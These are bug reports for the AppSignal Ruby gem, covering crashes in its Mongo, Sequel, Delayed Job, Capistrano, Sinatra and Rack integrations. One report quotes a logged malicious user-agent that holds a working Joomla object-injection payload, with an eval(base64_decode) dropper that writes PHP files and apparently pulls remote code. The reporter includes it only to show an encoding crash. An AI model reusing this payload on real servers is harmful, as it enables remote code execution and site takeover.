  api_key: "<%= ENV['APPSIGNAL_API_KEY'] %>"
  active: true
  ignore_exceptions:
    - ActiveRecord::RecordNotFound
    - ActionController::RoutingError

Handle Exception causes

You can set a cause of an exception: http://www.virtuouscode.com/2013/12/25/exception-causes-in-ruby-2-1/

Lets see if we can handle those :)

From Intercom: https://app.intercom.io/a/apps/yzor8gyw/inbox/conversation/1584663111?nsrc=slack, https://app.intercom.io/a/apps/yzor8gyw/inbox/conversations/11062469848

Problem with mongo ruby driver integration

I discovered an issue with the mongo ruby driver integration. Both in production and development (when the agent is active), I get this error:

$ rails c
Loading development environment (Rails 4.2.5)
[1] pry(main)> Site.first # Trigger some query
NoMethodError: undefined method `[]=' for nil:NilClass
from /Users/benedikt/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/bundler/gems/appsignal-7ef57b2e322c/lib/appsignal/integrations/mongo_ruby_driver.rb:12:in `started'
[2] pry(main)> Appsignal::VERSION
=> "1.0.2.beta.2"
[3] pry(main)>

Unfortunately, this breaks the whole application as it can't connect to the database.
This happens with both 1.0.1 from RubyGems and the latest version from master.

AppSignal gem throws errors when running sequel migrations

When running migrations with with sequel log level set to debug (in the Rails config: Rails.application.config.log_level = :debug) every migration throws an error.

bundle exec rake db:migrate:reset

This runs normally until migrating and then for every query it throws this error:

Could not log "sql.sequel" event. NoMethodError: undefined method `squeeze' for nil:NilClass
["/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/log_subscriber.rb:40:in `sql'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/subscriber.rb:100:in `finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/log_subscriber.rb:83:in `finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/fanout.rb:102:in `finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/fanout.rb:46:in `block in finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/fanout.rb:46:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/fanout.rb:46:in `finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/instrumenter.rb:36:in `finish'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications/instrumenter.rb:25:in `instrument'",
"/Users/tom/.gem/ruby/2.3.0/gems/activesupport-4.2.4/lib/active_support/notifications.rb:164:in `instrument'",
"/Users/tom/.gem/ruby/2.3.0/gems/appsignal-1.0.1/lib/appsignal/hooks/sequel.rb:12:in `log_yield'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:184:in `execute_query'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:171:in `block in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:147:in `check_disconnect_errors'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:171:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:524:in `_execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:340:in `block (2 levels) in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:545:in `check_database_errors'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:340:in `block in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/database/connecting.rb:249:in `block in synchronize'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/connection_pool/threaded.rb:103:in `hold'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/database/connecting.rb:249:in `synchronize'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:340:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/dataset/actions.rb:950:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/postgres.rb:668:in `fetch_rows'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/dataset/actions.rb:139:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/adapters/shared/postgres.rb:330:in `foreign_key_list'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/extensions/schema_dumper.rb:255:in `dump_table_generator'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/extensions/schema_dumper.rb:144:in `dump_table_schema'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/extensions/schema_dumper.rb:134:in `block in dump_schema_migration'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/extensions/schema_dumper.rb:134:in `map'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-4.30.0/lib/sequel/extensions/schema_dumper.rb:134:in `dump_schema_migration'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/database.rake:26:in `block (4 levels) in <top (required)>'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/database.rake:25:in `open'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/database.rake:25:in `block (3 levels) in <top (required)>'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:240:in `block in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/appsignal-1.0.1/lib/appsignal/hooks/rake.rb:15:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:179:in `block in invoke_with_call_chain'",
"/Users/tom/.rubies/ruby-2.3.0/lib/ruby/2.3.0/monitor.rb:214:in `mon_synchronize'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:172:in `invoke_with_call_chain'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:165:in `invoke'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/database.rake:75:in `block (2 levels) in <top (required)>'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:240:in `block in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/appsignal-1.0.1/lib/appsignal/hooks/rake.rb:15:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:179:in `block in invoke_with_call_chain'",
"/Users/tom/.rubies/ruby-2.3.0/lib/ruby/2.3.0/monitor.rb:214:in `mon_synchronize'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:172:in `invoke_with_call_chain'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:165:in `invoke'",
"/Users/tom/.gem/ruby/2.3.0/gems/sequel-rails-0.9.12/lib/sequel_rails/railties/database.rake:165:in `block (2 levels) in <top (required)>'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:240:in `block in execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:235:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/appsignal-1.0.1/lib/appsignal/hooks/rake.rb:15:in `execute'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:179:in `block in invoke_with_call_chain'",
"/Users/tom/.rubies/ruby-2.3.0/lib/ruby/2.3.0/monitor.rb:214:in `mon_synchronize'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:172:in `invoke_with_call_chain'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/task.rb:165:in `invoke'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:150:in `invoke_task'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:106:in `block (2 levels) in top_level'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:106:in `each'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:106:in `block in top_level'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:115:in `run_with_threads'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:100:in `top_level'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:78:in `block in run'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:176:in `standard_exception_handling'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/lib/rake/application.rb:75:in `run'",
"/Users/tom/.gem/ruby/2.3.0/gems/rake-10.5.0/bin/rake:33:in `<top (required)>'",
"/Users/tom/.gem/ruby/2.3.0/bin/rake:23:in `load'",
"/Users/tom/.gem/ruby/2.3.0/bin/rake:23:in `<main>'"]

slightly formatted for readability

AppSignal gem version that works: 0.11.8
It doesn't work anymore with the latest: 1.0.1

Sequel gem version: 4.30.0
Sequel-rails gem version: 0.9.12

A quick look make me think this is the commit that broke it: f0f00b4#diff-dc2ceb9af0184cfe8b1141877ccc41e3L6

The payload is lost in appsignal as the commit removes it from the instrument call, but sequel-rails still depends on it to show it in the logs.

This is the line in sequel-rails why it only happens in debug: https://github.com/TalentBox/sequel-rails/blob/ad1a51b3ee45f90c99e28413bcc9d45c1eaf2eb8/lib/sequel_rails/railties/log_subscriber.rb#L35

Let me know if you need more information!

ActiveRecord query logging incomplete when using where("a='x' AND b='y'")

Hi guys,

When we make an ActiveRecord call in our application like:
Post.where("created_at >= :timestamp AND updated_at >= :timestamp", timestamp: 1.day.ago)

The query in AppSignal shows itself as:

SELECT `posts`.* FROM `posts` WHERE (created_at >= ?)

It seems that the SQL formatter uses regular expressions that are too eager (sql_formatter.rb, constants: SINGLE_QUOTED_STRING and DOUBLE_QUOTED_STRING). (see: http://rubular.com/r/CjFUo3v870)

Regard, Karst.

DrbConnError when Transaction Events Array too large

Hi Appsignal, hi @thijsc,

back to this error from #38 and #39, but now with better knowledge.
Recap the setup - Appsignal 0.11.11 and Rails with a single vanilla Resque worker that does 35k times a DB lookup, e.g. User.find('dontexist').
Recap the stacktrace:

Exception DRb::DRbConnError 
Error Broken pipe
/usr/lib/ruby/2.1.0/drb/drb.rb:611:in `write'
/usr/lib/ruby/2.1.0/drb/drb.rb:611:in `send_request'
/usr/lib/ruby/2.1.0/drb/drb.rb:921:in `send_request'
/usr/lib/ruby/2.1.0/drb/drb.rb:1221:in `send_message'
/usr/lib/ruby/2.1.0/drb/drb.rb:1110:in `block (2 levels) in method_missing'
/usr/lib/ruby/2.1.0/drb/drb.rb:1197:in `open'
/usr/lib/ruby/2.1.0/drb/drb.rb:1109:in `block in method_missing'
/usr/lib/ruby/2.1.0/drb/drb.rb:1128:in `with_friend'
/usr/lib/ruby/2.1.0/drb/drb.rb:1108:in `method_missing'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/ipc.rb:59:in `enqueue'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/transaction.rb:160:in `complete!'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/transaction.rb:26:in `complete_current!'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal.rb:92:in `monitor_transaction'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/integrations/resque.rb:8:in `around_perform_resque_plugin'

Unfortunately it does not state what caused the error, but happy debugging revealed there is a default load_limit for messages over drbunix connections of 25MB! I stepped through the code to the point in ruby 2.1.0 drb.rb line 611 with varying lengths of the messages to be send. And tadaa its true to the byte.

In Appsignal terms that means the Appsignal::Transaction (= the object to be marshalled) which is too large (in marshaled form > 25MB) triggers this error.
The transaction object gets too large quite easily - as stated before - when a worker job has to do a bit.
Our workaround was and still is that we clear the events queue of the transaction object as last statement in the resque jobs of which we know to trigger the error

Appsignal::Transaction.current.clear_events!

This load_limit of DRb could theoretically be configured, but not transparently via Appsignal config, at least I didn't find a way.

Cheers,
Baschtl

NameError: no member 'appsignal_name' in struct

The upgrade to v1.1.3 raises the exception NameError: no member 'appsignal_name' in struct in all our Delayed Jobs. We are overriding the display_name method, so the appsignal_name method is present in the jobs. v1.07 works fine.

Backtrace:

/gems/appsignal-1.1.3/lib/appsignal/hooks.rb:64 in []
/gems/appsignal-1.1.3/lib/appsignal/hooks.rb:64 in extract_value
/gems/appsignal-1.1.3/lib/appsignal/integrations/delayed_job_plugin.rb:19 in invoke_with_instrumentation
/gems/appsignal-1.1.3/lib/appsignal/integrations/delayed_job_plugin.rb:8 in block (2 levels) in <class:DelayedJobPlugin>
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block (2 levels) in add
/gems/airbrake-5.2.3/lib/airbrake/delayed_job/plugin.rb:11 in call
/gems/airbrake-5.2.3/lib/airbrake/delayed_job/plugin.rb:11 in block (2 levels) in <class:Airbrake>
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block (2 levels) in add
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in block in initialize
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block in add
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block in add
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in execute
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:40 in run_callbacks
/gems/delayed_job-4.1.1/lib/delayed/backend/base.rb:97 in invoke_job
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:224 in block (2 levels) in run
/usr/local/lib/ruby/2.2.0/timeout.rb:88 in block in timeout
/usr/local/lib/ruby/2.2.0/timeout.rb:98 in call
/usr/local/lib/ruby/2.2.0/timeout.rb:98 in timeout
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:224 in block in run
/usr/local/lib/ruby/2.2.0/benchmark.rb:303 in realtime
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:223 in run
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:300 in block in reserve_and_run_one_job
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in block in initialize
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in execute
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:40 in run_callbacks
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:300 in reserve_and_run_one_job
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:207 in block in work_off
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:206 in times
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:206 in work_off
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:169 in block (4 levels) in start
/usr/local/lib/ruby/2.2.0/benchmark.rb:303 in realtime
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:168 in block (3 levels) in start
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in block in initialize
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in execute
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:40 in run_callbacks
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:167 in block (2 levels) in start
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:166 in loop
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:166 in block in start
/gems/delayed_job-4.1.1/lib/delayed/plugins/clear_locks.rb:7 in call
/gems/delayed_job-4.1.1/lib/delayed/plugins/clear_locks.rb:7 in block (2 levels) in <class:ClearLocks>
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block (2 levels) in add
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:61 in block in initialize
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:79 in block in add
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in call
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:66 in execute
/gems/delayed_job-4.1.1/lib/delayed/lifecycle.rb:40 in run_callbacks
/gems/delayed_job-4.1.1/lib/delayed/worker.rb:165 in start
/gems/delayed_job-4.1.1/lib/delayed/command.rb:131 in run
/gems/delayed_job-4.1.1/lib/delayed/command.rb:119 in block in run_process
/gems/daemons-1.1.9/lib/daemons/application.rb:255 in call
/gems/daemons-1.1.9/lib/daemons/application.rb:255 in block in start_proc
/gems/daemons-1.1.9/lib/daemons/daemonize.rb:82 in call
/gems/daemons-1.1.9/lib/daemons/daemonize.rb:82 in call_as_daemon
/gems/daemons-1.1.9/lib/daemons/application.rb:259 in start_proc
/gems/daemons-1.1.9/lib/daemons/application.rb:296 in start
/gems/daemons-1.1.9/lib/daemons/controller.rb:70 in run
/gems/daemons-1.1.9/lib/daemons.rb:197 in block in run_proc
/gems/daemons-1.1.9/lib/daemons/cmdline.rb:109 in call
/gems/daemons-1.1.9/lib/daemons/cmdline.rb:109 in catch_exceptions
/gems/daemons-1.1.9/lib/daemons.rb:196 in run_proc
/gems/delayed_job-4.1.1/lib/delayed/command.rb:117 in run_process
/gems/delayed_job-4.1.1/lib/delayed/command.rb:93 in daemonize
script/delayed_job:5 in <main>

can't add a new key into hash during iteration

I have a problem that seems to come because of concurrency.

I'm using rails 4, ruby 2 and puma

RuntimeError: can't add a new key into hash during iteration
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:37 • []=
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:37 • block in sanitize_hash_with_target
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:36 • each_pair
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:36 • sanitize_hash_with_target
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:78 • sanitize_hash
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:25 • sanitize_value
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction/params_sanitizer.rb:9 • sanitize!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction.rb:89 • convert_values_to_primitives!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/aggregator.rb:61 • pre_process_slowness!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/aggregator.rb:20 • add
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/agent.rb:28 • enqueue
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal.rb:19 • enqueue
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/transaction.rb:108 • complete!
vendor/bundle/ruby/2.0.0/gems/appsignal-0.6.2/lib/appsignal/listener.rb:20 • call
vendor/bundle/ruby/2.0.0/gems/actionpack-4.0.0/lib/action_dispatch/middleware/debug_exceptions.rb:17 • call
vendor/bundle/ruby/2.0.0/gems/actionpack-4.0.0/lib/action_dispatch/middleware/show_exceptions.rb:30 • call
vendor/bundle/ruby/2.0.0/gems/railties-4.0.0/lib/rails/rack/logger.rb:38 • call_app
vendor/bundle/ruby/2.0.0/gems/railties-4.0.0/lib/rails/rack/logger.rb:21 • block in call
vendor/bundle/ruby/2.0.0/gems/activesupport-4.0.0/lib/active_support/tagged_logging.rb:67 • block in tagged
vendor/bundle/ruby/2.0.0/gems/activesupport-4.0.0/lib/active_support/tagged_logging.rb:25 • tagged
vendor/bundle/ruby/2.0.0/gems/activesupport-4.0.0/lib/active_support/tagged_logging.rb:67 • tagged
vendor/bundle/ruby/2.0.0/gems/railties-4.0.0/lib/rails/rack/logger.rb:21 • call
vendor/bundle/ruby/2.0.0/gems/actionpack-4.0.0/lib/action_dispatch/middleware/request_id.rb:21 • call
vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/methodoverride.rb:21 • call
vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/runtime.rb:17 • call
vendor/bundle/ruby/2.0.0/gems/activesupport-4.0.0/lib/active_support/cache/strategy/local_cache.rb:83 • call
vendor/bundle/ruby/2.0.0/gems/actionpack-4.0.0/lib/action_dispatch/middleware/static.rb:64 • call
vendor/bundle/ruby/2.0.0/gems/railties-4.0.0/lib/rails/engine.rb:511 • call
vendor/bundle/ruby/2.0.0/gems/railties-4.0.0/lib/rails/application.rb:97 • call
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/configuration.rb:66 • call
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/server.rb:371 • handle_request
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/server.rb:248 • process_client
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/server.rb:147 • block in run
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/thread_pool.rb:92 • call
vendor/bundle/ruby/2.0.0/gems/puma-2.3.2/lib/puma/thread_pool.rb:92 • block in spawn_thread

Add way to skip requests by external monitoring tools

Tools (such as Pingdom) can generate quite a few requests that add up to the plan limit, but don't offer any insights.

Some kind of way to tell that a transaction can be discarded by the gem would be nice.

Requested through Intercom: https://app.intercom.io/a/apps/yzor8gyw/inbox/all/conversations/5481377438

Whoops

`rake` doesn't have a default task

Running rake should, IMHO:

Download any dependencies to run the specs
Do whatever needs to be done to set up that environment
Run them

Capistrano integration breaks for latest 2.x release

The change introduced in capistrano/capistrano@c971854 breaks your Capistrano 2 integration which expects Capistrano::VERSION to only be defined in Capistrano 3+.

I tried to write a failing test and fix the issue but failed with the test setup. The only insight I can provide is this: In the Capistrano runtime, the capistrano/version file is only loaded when invoking the help option via the CLI (see https://github.com/capistrano/capistrano/blob/legacy-v2/lib/capistrano/cli/options.rb#L118). So this constant is, in fact, never discovered. However, when I do my usual deploy call (bundle exec cap production deploy), for whichever reason it seems to be picked up.

To fix the issue, you probably need to require capistrano/version manually and adapt the version check something like the following: if defined?(Capistrano::VERSION) && Gem::Version.new(Capistrano::VERSION) >= Gem::Version.new(3).

In the meantime, I've solved my issue by manually requiring the proper files:

# require 'appsignal/capistrano'
require 'appsignal'
require 'appsignal/integrations/capistrano/capistrano_2_tasks'

Hope this helps at least a little bit. :)

Appsignal does not handle encoding errors

Issue

Appsignal middleware raises an uncaught exception when the request contains an invalid malicious user-agent. We received several requests similar to this one in our production server lately:

[20/May/2016:22:20:50 +0000] "GET / HTTP/1.1" 301 98 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:1182:\x22eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbGEucGhwIiA7DQokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7DQpmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ21WamFHOGdJbTFoWjI1dmJTQmhkWFJ2SUdOeVpXRjBJR1pwYkdWeklqc05DZzBLWm5WdVkzUnBiMjRnYUhSMGNGOW5aWFFvSkhWeWJDbDdEUW9KSkdsdElEMGdZM1Z5YkY5cGJtbDBLQ1IxY213cE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl3Z01TazdEUW9KWTNWeWJGOXpaWFJ2Y0hRb0pHbHRMQ0JEVlZKTVQxQlVYME5QVGs1RlExUlVTVTFGVDFWVUxDQXhNQ2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBaUFRFeFBWMHhQUTBGVVNVOU9MQ0F4S1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlNFVkJSRVZTTENBd0tUc05DZ2x5WlhSMWNtNGdZM1Z5YkY5bGVHVmpLQ1JwYlNrN0RRb0pZM1Z5YkY5amJHOXpaU2drYVcwcE93MEtmUTBLSkdOb1pXTnJOVDBrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UFZDZGRJQzRnSWk5c2FXSnlZWEpwWlhNdmJHVm5ZV041TDJ4dlp5OXFjeTV3YUhBaUlEc05DaVIwWlhoME5TQTlJR2gwZEhCZloyVjBLQ2RvZEhSd2N6b3ZMMmRvYjNOMFltbHVMbU52YlM5d1lYTjBaUzloZHpWallTOXlZWGNuS1RzTkNpUnZjRFU5Wm05d1pXNG9KR05vWldOck5Td2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQTFMQ1IwWlhoME5TazdEUXBtWTJ4dmMyVW9KRzl3TlNrN0RRcEFkVzVzYVc1cktGOWZSa2xNUlY5ZktUc05DajgrJykpOw0KZmNsb3NlKCRmcCk7'));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"

When the appsignal middleware tries to reports the request, the following exception get thrown:

Encoding::UndefinedConversionError: "\xF0" from ASCII-8BIT to UTF-8

/gems/json-1.8.3/lib/json/common.rb:223 in encode
/gems/json-1.8.3/lib/json/common.rb:223 in generate
/gems/json-1.8.3/lib/json/common.rb:223 in generate
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:116 in set_sample_data
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:129 in block in sample_data
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:128 in each
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:128 in sample_data
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:54 in complete
/gems/appsignal-1.0.1/lib/appsignal/transaction.rb:28 in complete_current!
/gems/appsignal-1.0.1/lib/appsignal/rack/rails_instrumentation.rb:40 in call_with_appsignal_monitoring
/gems/appsignal-1.0.1/lib/appsignal/rack/rails_instrumentation.rb:13 in call

The code this refer to only catches JSON::GeneratorError errors, but I believe there is a lot more that can be thrown by a call to JSON.generate.

Versions

Appsignal version : 1.1.5
Rails version : 4.2.6
Ruby version : 2.2.4p230

This exception being raised by app-signal can also trigger the airbrake-ruby gem to go into a infinite loop (airbrake/airbrake-ruby#82). It is not directly related to this issue, but in case someone else run into this, I thought it might be good to mention as it tore down one of our production server.

Sinatra requests to endpoints to that aren't defined in sinatra crash the transaction

Apparently something goes wrong when a request is send to something like "/phpmyadmin" and a sinatra app doesn't listen to that endpoint. Then the appsignal gem tries to find that endpoint, but can't and crashes.

The server registers these multiple requests as 1 very long request. The transaction eventually closes when a successful requests finally happen, and the transaction actually completes.

undefined method `split' for nil:NilClass
